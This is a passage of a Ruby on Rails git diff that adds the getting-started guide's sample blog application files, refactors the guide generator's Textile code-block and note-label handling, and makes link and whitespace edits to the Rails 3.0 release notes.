file mode 100644 index 0000000000..9db4fbe4b6 --- /dev/null +++ b/railties/guides/code/getting_started/db/schema.rb @@ -0,0 +1,43 @@ +# encoding: UTF-8 +# This file is auto-generated from the current state of the database. Instead +# of editing this file, please use the migrations feature of Active Record to +# incrementally modify your database, and then regenerate this schema definition. +# +# Note that this schema.rb definition is the authoritative source for your +# database schema. If you need to create the application database on another +# system, you should be using db:schema:load, not running all the migrations +# from scratch. The latter is a flawed and unsustainable approach (the more migrations +# you'll amass, the slower it'll run and the greater likelihood for issues). +# +# It's strongly recommended to check this file into your version control system. + +ActiveRecord::Schema.define(:version => 20110901013701) do + + create_table "comments", :force => true do |t| + t.string "commenter" + t.text "body" + t.integer "post_id" + t.datetime "created_at" + t.datetime "updated_at" + end + + add_index "comments", ["post_id"], :name => "index_comments_on_post_id" + + create_table "posts", :force => true do |t| + t.string "name" + t.string "title" + t.text "content" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "tags", :force => true do |t| + t.string "name" + t.integer "post_id" + t.datetime "created_at" + t.datetime "updated_at" + end + + add_index "tags", ["post_id"], :name => "index_tags_on_post_id" + +end diff --git a/railties/guides/code/getting_started/db/seeds.rb b/railties/guides/code/getting_started/db/seeds.rb new file mode 100644 index 0000000000..4edb1e857e --- /dev/null +++ b/railties/guides/code/getting_started/db/seeds.rb @@ -0,0 +1,7 @@ +# This file should contain all the record creation needed to seed the database with its default values. +# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). +# +# Examples: +# +# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) +# Mayor.create(name: 'Emanuel', city: cities.first) diff --git a/railties/guides/code/getting_started/doc/README_FOR_APP b/railties/guides/code/getting_started/doc/README_FOR_APP new file mode 100644 index 0000000000..fe41f5cc24 --- /dev/null +++ b/railties/guides/code/getting_started/doc/README_FOR_APP @@ -0,0 +1,2 @@ +Use this README file to introduce your application and point to useful places in the API for learning more. +Run "rake doc:app" to generate API documentation for your models, controllers, helpers, and libraries. diff --git a/railties/guides/code/getting_started/lib/assets/.gitkeep b/railties/guides/code/getting_started/lib/assets/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/lib/assets/.gitkeep diff --git a/railties/guides/code/getting_started/lib/tasks/.gitkeep b/railties/guides/code/getting_started/lib/tasks/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/lib/tasks/.gitkeep diff --git a/railties/guides/code/getting_started/public/404.html b/railties/guides/code/getting_started/public/404.html new file mode 100644 index 0000000000..9a48320a5f --- /dev/null +++ b/railties/guides/code/getting_started/public/404.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>The page you were looking for doesn't exist (404)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/404.html --> + <div class="dialog"> + <h1>The page you were looking for doesn't exist.</h1> + <p>You may have mistyped the address or the page may have moved.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/422.html b/railties/guides/code/getting_started/public/422.html new file mode 100644 index 0000000000..83660ab187 --- /dev/null +++ b/railties/guides/code/getting_started/public/422.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>The change you wanted was rejected (422)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/422.html --> + <div class="dialog"> + <h1>The change you wanted was rejected.</h1> + <p>Maybe you tried to change something you didn't have access to.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/500.html b/railties/guides/code/getting_started/public/500.html new file mode 100644 index 0000000000..b80307fc16 --- /dev/null +++ b/railties/guides/code/getting_started/public/500.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>We're sorry, but something went wrong (500)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/500.html --> + <div class="dialog"> + <h1>We're sorry, but something went wrong.</h1> + <p>We've been notified about this issue and we'll take a look at it shortly.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/favicon.ico b/railties/guides/code/getting_started/public/favicon.ico new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/public/favicon.ico diff --git a/railties/guides/code/getting_started/public/robots.txt b/railties/guides/code/getting_started/public/robots.txt new file mode 100644 index 0000000000..085187fa58 --- /dev/null +++ b/railties/guides/code/getting_started/public/robots.txt @@ -0,0 +1,5 @@ +# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file +# +# To ban all spiders from the entire site uncomment the next two lines: +# User-Agent: * +# Disallow: / diff --git a/railties/guides/code/getting_started/script/rails b/railties/guides/code/getting_started/script/rails new file mode 100755 index 0000000000..f8da2cffd4 --- /dev/null +++ b/railties/guides/code/getting_started/script/rails @@ -0,0 +1,6 @@ +#!/usr/bin/env ruby +# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application. + +APP_PATH = File.expand_path('../../config/application', __FILE__) +require File.expand_path('../../config/boot', __FILE__) +require 'rails/commands' diff --git a/railties/guides/code/getting_started/test/fixtures/.gitkeep b/railties/guides/code/getting_started/test/fixtures/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/.gitkeep diff --git a/railties/guides/code/getting_started/test/fixtures/comments.yml b/railties/guides/code/getting_started/test/fixtures/comments.yml new file mode 100644 index 0000000000..d33da386bf --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/comments.yml @@ -0,0 +1,11 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + commenter: MyString + body: MyText + post: + +two: + commenter: MyString + body: MyText + post: diff --git a/railties/guides/code/getting_started/test/fixtures/posts.yml b/railties/guides/code/getting_started/test/fixtures/posts.yml new file mode 100644 index 0000000000..8b0f75a33d --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/posts.yml @@ -0,0 +1,11 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + name: MyString + title: MyString + content: MyText + +two: + name: MyString + title: MyString + content: MyText diff --git a/railties/guides/code/getting_started/test/fixtures/tags.yml b/railties/guides/code/getting_started/test/fixtures/tags.yml new file mode 100644 index 0000000000..8485668908 --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/tags.yml @@ -0,0 +1,9 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + name: MyString + post: + +two: + name: MyString + post: diff --git a/railties/guides/code/getting_started/test/functional/.gitkeep b/railties/guides/code/getting_started/test/functional/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/.gitkeep diff --git a/railties/guides/code/getting_started/test/functional/comments_controller_test.rb b/railties/guides/code/getting_started/test/functional/comments_controller_test.rb new file mode 100644 index 0000000000..2ec71b4ec5 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/comments_controller_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class CommentsControllerTest < ActionController::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/functional/home_controller_test.rb b/railties/guides/code/getting_started/test/functional/home_controller_test.rb new file mode 100644 index 0000000000..0d9bb47c3e --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/home_controller_test.rb @@ -0,0 +1,9 @@ +require 'test_helper' + +class HomeControllerTest < ActionController::TestCase + test "should get index" do + get :index + assert_response :success + end + +end diff --git a/railties/guides/code/getting_started/test/functional/posts_controller_test.rb b/railties/guides/code/getting_started/test/functional/posts_controller_test.rb new file mode 100644 index 0000000000..b8f7b07820 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/posts_controller_test.rb @@ -0,0 +1,49 @@ +require 'test_helper' + +class PostsControllerTest < ActionController::TestCase + setup do + @post = posts(:one) + end + + test "should get index" do + get :index + assert_response :success + assert_not_nil assigns(:posts) + end + + test "should get new" do + get :new + assert_response :success + end + + test "should create post" do + assert_difference('Post.count') do + post :create, post: @post.attributes + end + + assert_redirected_to post_path(assigns(:post)) + end + + test "should show post" do + get :show, id: @post.to_param + assert_response :success + end + + test "should get edit" do + get :edit, id: @post.to_param + assert_response :success + end + + test "should update post" do + put :update, id: @post.to_param, post: @post.attributes + assert_redirected_to post_path(assigns(:post)) + end + + test "should destroy post" do + assert_difference('Post.count', -1) do + delete :destroy, id: @post.to_param + end + + assert_redirected_to posts_path + end +end diff --git a/railties/guides/code/getting_started/test/integration/.gitkeep b/railties/guides/code/getting_started/test/integration/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/integration/.gitkeep diff --git a/railties/guides/code/getting_started/test/performance/browsing_test.rb b/railties/guides/code/getting_started/test/performance/browsing_test.rb new file mode 100644 index 0000000000..3fea27b916 --- /dev/null +++ b/railties/guides/code/getting_started/test/performance/browsing_test.rb @@ -0,0 +1,12 @@ +require 'test_helper' +require 'rails/performance_test_help' + +class BrowsingTest < ActionDispatch::PerformanceTest + # Refer to the documentation for all available options + # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory] + # :output => 'tmp/performance', :formats => [:flat] } + + def test_homepage + get '/' + end +end diff --git a/railties/guides/code/getting_started/test/test_helper.rb b/railties/guides/code/getting_started/test/test_helper.rb new file mode 100644 index 0000000000..8bf1192ffe --- /dev/null +++ b/railties/guides/code/getting_started/test/test_helper.rb @@ -0,0 +1,13 @@ +ENV["RAILS_ENV"] = "test" +require File.expand_path('../../config/environment', __FILE__) +require 'rails/test_help' + +class ActiveSupport::TestCase + # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order. + # + # Note: You'll currently still have to declare fixtures explicitly in integration tests + # -- they do not yet inherit this setting + fixtures :all + + # Add more helper methods to be used by all tests here... +end diff --git a/railties/guides/code/getting_started/test/unit/.gitkeep b/railties/guides/code/getting_started/test/unit/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/.gitkeep diff --git a/railties/guides/code/getting_started/test/unit/comment_test.rb b/railties/guides/code/getting_started/test/unit/comment_test.rb new file mode 100644 index 0000000000..b6d6131a96 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/comment_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class CommentTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb new file mode 100644 index 0000000000..2518c16bd5 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class CommentsHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb new file mode 100644 index 0000000000..4740a18dac --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class HomeHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb new file mode 100644 index 0000000000..48549c2ea1 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class PostsHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/post_test.rb b/railties/guides/code/getting_started/test/unit/post_test.rb new file mode 100644 index 0000000000..6d9d463a71 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/post_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class PostTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/unit/tag_test.rb b/railties/guides/code/getting_started/test/unit/tag_test.rb new file mode 100644 index 0000000000..b8498a117c --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/tag_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class TagTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep b/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep diff --git a/railties/guides/code/getting_started/vendor/plugins/.gitkeep b/railties/guides/code/getting_started/vendor/plugins/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/vendor/plugins/.gitkeep diff --git a/railties/guides/rails_guides/generator.rb b/railties/guides/rails_guides/generator.rb index 14d671c8f3..4682ead66e 100644 --- a/railties/guides/rails_guides/generator.rb +++ b/railties/guides/rails_guides/generator.rb @@ -199,50 +199,10 @@ module RailsGuides end def textile(body, lite_mode=false) - # If the issue with notextile is fixed just remove the wrapper. - with_workaround_for_notextile(body) do |body| - t = RedCloth.new(body) - t.hard_breaks = false - t.lite_mode = lite_mode - t.to_html(:notestuff, :plusplus, :code, :tip) - end - end - - # For some reason the notextile tag does not always turn off textile. See - # LH ticket of the security guide (#7). As a temporary workaround we deal - # with code blocks by hand. - def with_workaround_for_notextile(body) - code_blocks = [] - - body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m| - brush = case $1 - when 'ruby', 'sql', 'plain' - $1 - when 'erb' - 'ruby; html-script: true' - when 'html' - 'xml' # html is understood, but there are .xml rules in the CSS - else - 'plain' - end - - code_blocks.push(<<HTML) -<notextile> -<div class="code_container"> -<pre class="brush: #{brush}; gutter: false; toolbar: false"> -#{ERB::Util.h($2).strip} -</pre> -</div> -</notextile> -HTML - "\ndirty_workaround_for_notextile_#{code_blocks.size - 1}\n" - end - - body = yield body - - body.gsub(%r{<p>dirty_workaround_for_notextile_(\d+)</p>}) do |_| - code_blocks[$1.to_i] - end + t = RedCloth.new(body) + t.hard_breaks = false + t.lite_mode = lite_mode + t.to_html(:notestuff, :plusplus, :code) end def warn_about_broken_links(html) diff --git a/railties/guides/rails_guides/helpers.rb b/railties/guides/rails_guides/helpers.rb index d466c76c7c..463df8a7a8 100644 --- a/railties/guides/rails_guides/helpers.rb +++ b/railties/guides/rails_guides/helpers.rb @@ -15,7 +15,7 @@ module RailsGuides def author(name, nick, image = 'credits_pic_blank.gif', &block) image = "images/#{image}" - result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name) + result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name, :width => 91, :height => 91) result << content_tag(:h3, name) result << content_tag(:p, capture(&block)) content_tag(:div, result, :class => 'clearfix', :id => nick) diff --git a/railties/guides/rails_guides/textile_extensions.rb b/railties/guides/rails_guides/textile_extensions.rb index 352c5e91dd..4677fae504 100644 --- a/railties/guides/rails_guides/textile_extensions.rb +++ b/railties/guides/rails_guides/textile_extensions.rb @@ -3,23 +3,24 @@ require 'active_support/core_ext/object/inclusion' module RailsGuides module TextileExtensions def notestuff(body) - body.gsub!(/^(IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*)$/) do |m| - css_class = $1.downcase - css_class = 'warning' if css_class.in?(['caution', 'important']) - - result = "<div class='#{css_class}'><p>" - result << $2.strip - result << '</p></div>' - result - end - end - - def tip(body) - body.gsub!(/^TIP[.:](.*)$/) do |m| - result = "<div class='info'><p>" - result << $1.strip - result << '</p></div>' - result + # The following regexp detects special labels followed by a + # paragraph, perhaps at the end of the document. + # + # It is important that we do not eat more than one newline + # because formatting may be wrong otherwise. For example, + # if a bulleted list follows the first item is not rendered + # as a list item, but as a paragraph starting with a plain + # asterisk. + body.gsub!(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m| + css_class = case $1 + when 'CAUTION', 'IMPORTANT' + 'warning' + when 'TIP' + 'info' + else + $1.downcase + end + %Q(<div class="#{css_class}"><p>#{$2.strip}</p></div>) end end @@ -32,11 +33,30 @@ module RailsGuides body.gsub!('<plus>', '+') end + def brush_for(code_type) + case code_type + when 'ruby', 'sql', 'plain' + code_type + when 'erb' + 'ruby; html-script: true' + when 'html' + 'xml' # html is understood, but there are .xml rules in the CSS + else + 'plain' + end + end + def code(body) body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m| - es = ERB::Util.h($2) - css_class = $1.in?(['erb', 'shell']) ? 'html' : $1 - %{<notextile><div class="code_container"><code class="#{css_class}">#{es}</code></div></notextile>} + <<HTML +<notextile> +<div class="code_container"> +<pre class="brush: #{brush_for($1)}; gutter: false; toolbar: false"> +#{ERB::Util.h($2).strip} +</pre> +</div> +</notextile> +HTML end end end diff --git a/railties/guides/source/3_0_release_notes.textile b/railties/guides/source/3_0_release_notes.textile index f75b245ed8..d22c76dd81 100644 --- a/railties/guides/source/3_0_release_notes.textile +++ b/railties/guides/source/3_0_release_notes.textile @@ -59,17 +59,17 @@ The +config.gem+ method is gone and has been replaced by using +bundler+ and a + h4. Upgrade Process -To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/jm/rails_upgrade has been created to automate part of it. +To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/rails/rails_upgrade has been created to automate part of it. -Simply install the plugin, then run +rake rails:upgrade:check+ to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a +Gemfile+ based on your current +config.gem+ calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: +Simply install the plugin, then run +rake rails:upgrade:check+ to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a +Gemfile+ based on your current +config.gem+ calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: <shell> -$ ruby script/plugin install git://github.com/jm/rails_upgrade.git +$ ruby script/plugin install git://github.com/rails/rails_upgrade.git </shell> You can see an example of how that works at "Rails Upgrade is now an Official Plugin":http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin -Aside from Rails Upgrade tool, if you need more help, there are people on IRC and "rubyonrails-talk":http://groups.google.com/group/rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge! +Aside from Rails Upgrade tool, if you need more help, there are people on IRC and "rubyonrails-talk":http://groups.google.com/group/rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge! More information - "The Path to Rails 3: Approaching the upgrade":http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade @@ -113,42 +113,42 @@ Railties was updated to provide a consistent plugin API for the entire Rails fra h4. All Rails core components are decoupled -With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will. +With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will. More information: - "The Great Decoupling":http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/ h4. Active Model Abstraction -Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. +Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. More information: - "Make Any Ruby Object Feel Like ActiveRecord":http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/ h4. Controller Abstraction -Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of +AbstractController+ allowed +ActionController+ and +ActionMailer+ to be greatly simplified with common code removed from all these libraries and put into Abstract Controller. +Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of +AbstractController+ allowed +ActionController+ and +ActionMailer+ to be greatly simplified with common code removed from all these libraries and put into Abstract Controller. More Information: - "Rails Edge Architecture":http://yehudakatz.com/2009/06/11/rails-edge-architecture/ h4. Arel Integration -"Arel":http://github.com/brynary/arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record. +"Arel":http://github.com/brynary/arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record. More information: - "Why I wrote Arel":http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/. h4. Mail Extraction -Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the "Mail":http://github.com/mikel/mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser. +Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the "Mail":http://github.com/mikel/mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser. More information: - "New Action Mailer API in Rails 3":http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3 h3. Documentation -The documentation in the Rails tree is being updated with all the API changes, additionally, the "Rails Edge Guides":http://edgeguides.rubyonrails.org/ are being updated one by one to reflect the changes in Rails 3.0. The guides at "guides.rubyonrails.org":http://guides.rubyonrails.org/ however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released). +The documentation in the Rails tree is being updated with all the API changes, additionally, the "Rails Edge Guides":http://edgeguides.rubyonrails.org/ are being updated one by one to reflect the changes in Rails 3.0. The guides at "guides.rubyonrails.org":http://guides.rubyonrails.org/ however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released). More Information: - "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects. @@ -157,7 +157,7 @@ h3. Internationalization A large amount of work has been done with I18n support in Rails 3, including the latest "I18n":http://github.com/svenfuchs/i18n gem supplying many speed improvements. -* I18n for any object - I18n behavior can be added to any object by including <tt>ActiveModel::Translation</tt> and <tt>ActiveModel::Validations</tt>. There is also an <tt>errors.messages</tt> fallback for translations. +* I18n for any object - I18n behavior can be added to any object by including <tt>ActiveModel::Translation</tt> and <tt>ActiveModel::Validations</tt>. There is also an <tt>errors.messages</tt> fallback for translations. * Attributes can have default translations. * Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation. * Labels with I18n also now work by just passing the attribute name. @@ -173,7 +173,7 @@ With the decoupling of the main Rails frameworks, Railties got a huge overhaul s * Anything under <tt>Rails.root/app</tt> is now added to the load path, so you can make <tt>app/observers/user_observer.rb</tt> and Rails will load it without any modifications. * Rails 3.0 now provides a <tt>Rails.config</tt> object, which provides a central repository of all sorts of Rails wide configuration options. -Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new <tt>--dev</tt> flag has been added which sets the application up with the +Gemfile+ pointing to your Rails checkout (which is determined by the path to the +rails+ binary). See <tt>rails --help</tt> for more info. +Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new <tt>--dev</tt> flag has been added which sets the application up with the +Gemfile+ pointing to your Rails checkout (which is determined by the path to the +rails+ binary). See <tt>rails --help</tt> for more info. Railties generators got a huge amount of attention in Rails 3.0, basically: @@ -215,7 +215,7 @@ There have been significant internal and external changes in Action Pack. h4. Abstract Controller -Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed <tt>ActionMailer::Base</tt> to now just inherit from +AbstractController+ and just wrap the Rails DSL onto the Mail gem. +Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed <tt>ActionMailer::Base</tt> to now just inherit from +AbstractController+ and just wrap the Rails DSL onto the Mail gem. It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code. @@ -231,7 +231,7 @@ h4. Action Controller * The <tt>session_store</tt> was configured in <tt>ActionController::Base.session</tt>, and that is now moved to <tt>Rails.application.config.session_store</tt>. Defaults are set up in <tt>config/initializers/session_store.rb</tt>. * <tt>cookies.secure</tt> allowing you to set encrypted values in cookies with <tt>cookie.secure[:key] => value</tt>. * <tt>cookies.permanent</tt> allowing you to set permanent values in the cookie hash <tt>cookie.permanent[:key] => value</tt> that raise exceptions on signed values if verification failures. -* You can now pass <tt>:notice => 'This is a flash message'</tt> or <tt>:alert => 'Something went wrong'</tt> to the <tt>format</tt> call inside a +respond_to+ block. The <tt>flash[]</tt> hash still works as previously. +* You can now pass <tt>:notice => 'This is a flash message'</tt> or <tt>:alert => 'Something went wrong'</tt> to the <tt>format</tt> call inside a +respond_to+ block. The <tt>flash[]</tt> hash still works as previously. * <tt>respond_with</tt> method has now been added to your controllers simplifying the venerable +format+ blocks. * <tt>ActionController::Responder</tt> added allowing you flexibility in how your responses get generated. @@ -298,9 +298,9 @@ h4. Action View h5. Unobtrusive JavaScript -Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers. +Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers. -What this means is that all previous <tt>remote_<method></tt> helpers have been removed from Rails core and put into the "Prototype Legacy Helper":http://github.com/rails/prototype_legacy_helper. To get UJS hooks into your HTML, you now pass <tt>:remote => true</tt> instead. For example: +What this means is that all previous <tt>remote_<method></tt> helpers have been removed from Rails core and put into the "Prototype Legacy Helper":http://github.com/rails/prototype_legacy_helper. To get UJS hooks into your HTML, you now pass <tt>:remote => true</tt> instead. For example: <ruby> form_for @post, :remote => true @@ -341,12 +341,12 @@ h5. Other Changes h3. Active Model -Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface. +Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface. h4. ORM Abstraction and Action Pack Interface -Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. +Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. More Information: - "Make Any Ruby Object Feel Like ActiveRecord":http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/ @@ -410,12 +410,12 @@ More Information: h3. Active Record -Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1. +Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1. h4. Query Interface -Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together: +Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together: * <tt>where</tt> - provides conditions on the relation, what gets returned. * <tt>select</tt> - choose what attributes of the models you wish to have returned from the database. @@ -502,7 +502,7 @@ Deprecations: h3. Active Support -A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer. +A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer. These are the main changes in Active Support: @@ -559,7 +559,7 @@ The following methods have been removed because they are no longer used in the f h3. Action Mailer -Action Mailer has been given a new API with TMail being replaced out with the new "Mail":http://github.com/mikel/mail as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. +Action Mailer has been given a new API with TMail being replaced out with the new 